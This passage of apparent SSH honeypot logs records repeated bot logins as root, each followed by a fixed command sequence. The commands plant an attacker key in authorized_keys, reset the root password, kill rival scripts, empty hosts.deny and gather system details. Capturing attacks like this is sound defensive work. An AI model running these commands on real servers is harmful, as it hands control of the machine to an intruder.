.ssh","started_at":"2026-08-27T05:21:36.906836+00:00","ended_at":"2026-08-27T05:21:38.907844+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T05:21:11.176184+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:21:11.496224+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:21:15.144157+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:21:17.073619+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:21:17.397006+00:00","kind":"input","latency_ms":null,"data":"echo \"root:xzixDsyDnzQv\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:21:17.722471+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:21:18.073652+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:21:18.824425+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T05:21:18.972231+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T05:21:19.304473+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T05:21:20.498523+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T05:21:20.825892+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T05:21:21.706823+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T05:21:22.027189+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T05:21:23.225703+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T05:21:23.545209+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T05:21:24.660282+00:00","kind":"output","latency_ms":null,"data":" 05:21:24 up 7 days, 2:11, 0 user, load average: 0.29, 0.33, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T05:21:24.979796+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T05:21:26.642200+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T05:21:26.963172+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T05:21:29.002409+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T05:21:29.324549+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T05:21:31.177698+00:00","kind":"output","latency_ms":null,"data":"top - 05:21:31 up 7 days, 2:11, 0 user, load average: 0.29, 0.33, 0.22\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T05:21:31.499703+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T05:21:31.852743+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T05:21:32.173824+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T05:21:32.539312+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T05:21:32.864310+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T05:21:33.418524+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T05:21:33.741442+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T05:21:36.585197+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T05:21:36.907689+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T05:21:38.810791+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"qwer12345","method":"password","accepted":true,"tier":"other"}]} {"id":"f157b3ed-5a6b-47d8-a155-d1f9a5950881","name":"knotted-umber-shelduck","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":51482,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":323,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:19:33.158493+00:00","ended_at":"2026-08-27T05:19:34.654119+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T05:19:03.528938+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:19:03.850954+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:19:08.114628+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:19:09.364607+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:19:09.688946+00:00","kind":"input","latency_ms":null,"data":"echo \"root:QxRSll0FjFI9\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:19:10.010490+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:19:10.338102+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:19:11.384939+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T05:19:11.633325+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T05:19:11.958167+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T05:19:13.025265+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T05:19:13.352936+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T05:19:14.239706+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T05:19:14.565623+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T05:19:16.628825+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T05:19:16.952370+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T05:19:18.893915+00:00","kind":"output","latency_ms":null,"data":" 05:19:18 up 7 days, 2:09, 0 user, load average: 0.24, 0.22, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T05:19:19.217471+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T05:19:21.393252+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T05:19:21.715696+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T05:19:23.049467+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T05:19:23.375182+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T05:19:24.770412+00:00","kind":"output","latency_ms":null,"data":"top - 05:19:24 up 7 days, 2:09, 0 user, load average: 0.24, 0.22, 0.22\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T05:19:25.093493+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T05:19:26.882796+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T05:19:27.203449+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T05:19:29.298333+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T05:19:29.622450+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T05:19:31.530376+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T05:19:31.851320+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T05:19:32.836496+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T05:19:33.159152+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T05:19:34.551507+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"!QW@1qw2","method":"password","accepted":true,"tier":"other"}]} {"id":"c1b85829-221e-438c-b29b-5130ef5bb391","name":"brave-fabled-gull","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":37004,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":307,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:17:34.629781+00:00","ended_at":"2026-08-27T05:17:36.277194+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T05:17:04.866117+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:17:05.172605+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:17:09.305186+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:17:10.119960+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:17:10.427807+00:00","kind":"input","latency_ms":null,"data":"echo \"root:stphRBTtOP9h\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:17:10.734084+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:17:11.040677+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:17:11.309378+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T05:17:13.182679+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T05:17:13.488917+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T05:17:14.651931+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T05:17:14.961722+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T05:17:16.466624+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T05:17:16.783552+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T05:17:18.821698+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T05:17:19.128664+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T05:17:20.929542+00:00","kind":"output","latency_ms":null,"data":" 05:17:20 up 7 days, 2:07, 0 user, load average: 0.32, 0.37, 0.36\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T05:17:21.239676+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T05:17:23.032614+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T05:17:23.340385+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T05:17:25.230420+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T05:17:25.534162+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T05:17:26.828998+00:00","kind":"output","latency_ms":null,"data":"top - 05:17:26 up 7 days, 2:07, 0 user, load average: 0.32, 0.37, 0.36\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T05:17:27.137520+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T05:17:28.119123+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T05:17:28.428255+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T05:17:29.580386+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T05:17:29.887118+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T05:17:31.824595+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T05:17:32.132012+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T05:17:34.324069+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T05:17:34.630575+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T05:17:36.183920+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Admin123*","method":"password","accepted":true,"tier":"other"}]} {"id":"42c210ed-e913-4c0c-97db-e37a7652d4ca","name":"marine-deft-hoopoe","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":36426,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":322,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:15:29.696246+00:00","ended_at":"2026-08-27T05:15:31.302382+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T05:15:08.574786+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:15:08.908388+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:15:12.085898+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:15:13.588358+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:15:13.908993+00:00","kind":"input","latency_ms":null,"data":"echo \"root:5oVGnRMfj2xs\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:15:14.226840+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:15:14.548069+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:15:15.852417+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T05:15:16.061393+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T05:15:16.174234+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T05:15:17.895051+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T05:15:18.231404+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T05:15:20.043343+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T05:15:20.366264+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T05:15:22.548137+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T05:15:22.880048+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T05:15:23.213335+00:00","kind":"output","latency_ms":null,"data":" 05:15:23 up 7 days, 2:05, 0 user, load average: 0.12, 0.09, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T05:15:23.534512+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T05:15:23.811684+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T05:15:24.133248+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T05:15:24.404931+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T05:15:24.735965+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T05:15:25.241216+00:00","kind":"output","latency_ms":null,"data":"top - 05:15:25 up 7 days, 2:05, 0 user, load average: 0.12, 0.09, 0.08\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T05:15:25.563378+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T05:15:26.222183+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T05:15:26.541627+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T05:15:26.863198+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T05:15:27.183660+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T05:15:27.899602+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T05:15:28.221831+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T05:15:29.376956+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T05:15:29.697768+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T05:15:31.206063+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"12345678Qq","method":"password","accepted":true,"tier":"other"}]} {"id":"54797db9-35cd-4ca4-9cb6-71d62cdaf86f","name":"airy-tangled-shelduck","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":42096,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":332,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:11:33.479653+00:00","ended_at":"2026-08-27T05:11:34.974885+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T05:11:15.730023+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:11:16.062628+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:11:20.248788+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:11:21.009515+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:11:21.342938+00:00","kind":"input","latency_ms":null,"data":"echo \"root:D13QnGAPK4wL\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:11:21.672084+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 